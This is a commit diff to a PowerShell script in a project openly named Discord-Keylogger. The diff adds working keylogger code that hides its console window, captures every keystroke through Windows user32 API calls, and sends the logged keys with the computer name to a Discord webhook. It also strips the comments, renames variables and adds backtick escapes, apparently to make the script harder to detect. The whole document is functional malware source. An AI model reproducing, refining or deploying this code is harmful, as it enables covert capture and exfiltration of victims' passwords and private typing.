Update main.ps1

Discord-Keylogger/main.ps1

@@ -4,6 +4,21 @@ if ($dc.Length -lt 120){
 	$dc = ("https://discord.com/api/webhooks/" + "$dc")
 }
 
+$defs = @'
+[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
+public static extern short GetAsyncKeyState(int virtualKeyCode); 
+[DllImport("user32.dll", CharSet=CharSet.Auto)]
+public static extern int GetKeyboardState(byte[] keystate);
+[DllImport("user32.dll", CharSet=CharSet.Auto)]
+public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
+[DllImport("user32.dll", CharSet=CharSet.Auto)]
+public static extern int MapVirtualKey(uint uCode, int uMapType);
+'@
+$defs = Add-Type -MemberDefinition $defs -Name 'Win32' -Namespace API -PassThru
+
+$lastpress = [System.Diagnostics.Stopwatch]::StartNew()
+$threshold = [TimeSpan]::FromSeconds(10)
+
 $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
 $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
 $hwnd = (Get-Process -PID $pid).MainWindowHandle
@@ -17,101 +32,44 @@ else{
     $Type::ShowWindowAsync($hwnd, 0)
 }
 
-<#
-Ablaze – On fire; brightly burning with intensity.
-
-Banter – Playful, teasing talk between close friends.
-
-Crisp – Firm, dry, and easily breakable texture.
-
-Dapper – Stylish, neat man with elegant appearance.
-
-Elicit – Draw out a response or reaction.
-
-Fathom – Understand something deeply, often abstractly.
-
-Glimpse – Quick, brief look without full details.
-
-Havoc – Widespread destruction; total chaos and disorder.
-
-Imbue – Fill or inspire with certain feelings.
-
-Jovial – Cheerful, friendly, full of good humor.
-
-Keen – Sharp, eager, or intellectually perceptive mind.
-
-Lurk – Remain hidden, waiting to spring forth.
-
-Mirth – Amusement expressed through laughter or cheerfulness.
-
-Nimble – Quick and light in movement or action.
-
-#>
-
-$defs = @'
-[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
-public static extern short GetAsyncKeyState(int virtualKeyCode); 
-[DllImport("user32.dll", CharSet=CharSet.Auto)]
-public static extern int GetKeyboardState(byte[] keystate);
-[DllImport("user32.dll", CharSet=CharSet.Auto)]
-public static extern int MapVirtualKey(uint uCode, int uMapType);
-[DllImport("user32.dll", CharSet=CharSet.Auto)]
-public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
-'@
-$defs = Add-Type -MemberDefinition $defs -Name 'Win32' -Namespace API -PassThru
-
-$LastKeypressTime = [System.Diagnostics.Stopwatch]::StartNew()
-$KeypressThreshold = [TimeSpan]::FromSeconds(10)
 
 While ($true){
-  $keyPressed = $false
+  $ispressed = $false
     try{
-      while ($LastKeypressTime.Elapsed -lt $KeypressThreshold) {
-      # Start the loop with 30 ms delay between keystate check
-      Start-Sleep -Milliseconds 30
-        for ($asc = 8; $asc -le 254; $asc++){
-        # Get the key state. (is any key currently pressed)
-        $keyst = $defs::GetAsyncKeyState($asc)
-          # If a key is pressed
-          if ($keyst -eq -32767) {
-          # Restart the inactivity timer
-          $keyPressed = $true
-          $LastKeypressTime.Restart()
-          $null = [console]::CapsLock
-          # Translate the keycode to a letter
-          $vtkey = $defs::MapVirtualKey($asc, 3)
-          # Get the keyboard state and create stringbuilder
-          $kbst = New-Object Byte[] 256
-          $checkkbst = $defs::GetKeyboardState($kbst)
-          $logchar = New-Object -TypeName System.Text.StringBuilder
-            # Define the key that was pressed          
-            if ($defs::ToUnicode($asc, $vtkey, $kbst, $logchar, $logchar.Capacity, 0)) {
-              # Check for non-character keys
-              $LString = $logchar.ToString()
-                if ($asc -eq 8) {$LString = "[BACK]"}
-                if ($asc -eq 13) {$LString = "[ENT]"}
-                if ($asc -eq 27) {$LString = "[ESC]"}
-            # Add the key to sending variable
-            $send += $LString 
+      while ($lastpress.Elapsed` -lt $threshold) {
+      Sleep -M 30
+        for ($character = 8; $character` -le 254; $character++){
+        $keyst = $defs::GetAsyncKeyState($character)
+          if ($keyst -eq` -32767) {
+                $ispressed = $true
+                $lastpress.Restart()
+                $null = [console]::CapsLock
+                $virtual = $defs::MapVirtualKey($character, 3)
+                $state = New-Object Byte[] 256
+                $check = $defs::GetKeyboardState($state)
+                $logged = New-Object -TypeName System.Text.StringBuilder          
+            if ($defs::ToUnicode($character, $virtual, $state, $logged, $logged.Capacity, 0)) {
+                $thestring = $logged.ToString()
+                if ($character` -eq` 13) {$thestring` = "[ENT]"}
+                if ($character` -eq` 8) {$thestring` = "[BACK]"}             
+                if ($character` -eq` 27) {$thestring` = "[ESC]"}
+                $send += $thestring 
             }
           }
         }
       }
     }
     finally{
-      If ($keyPressed) {
-      # Send the saved keys to a webhook
+      If ($ispressed) {
       $escmsgsys = $send -replace '[&<>]', {$args[0].Value.Replace('&', '&amp;').Replace('<', '&lt;').Replace('>', '&gt;')}
       $timestamp = Get-Date -Format "dd-MM-yyyy HH:mm:ss"
       $escmsg = $timestamp+" : "+'`'+$escmsgsys+'`'
       $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsg} | ConvertTo-Json
       Invoke-RestMethod -Uri $dc -Method Post -ContentType "application/json" -Body $jsonsys
-      #Remove log file and reset inactivity check 
       $send = ""
-      $keyPressed = $false
+      $ispressed = $false
       }
     }
-  # reset stopwatch before restarting the loop
-  $LastKeypressTime.Restart()
-  Start-Sleep -Milliseconds 10
+  $lastpress.Restart()
+  Sleep -M 10
 }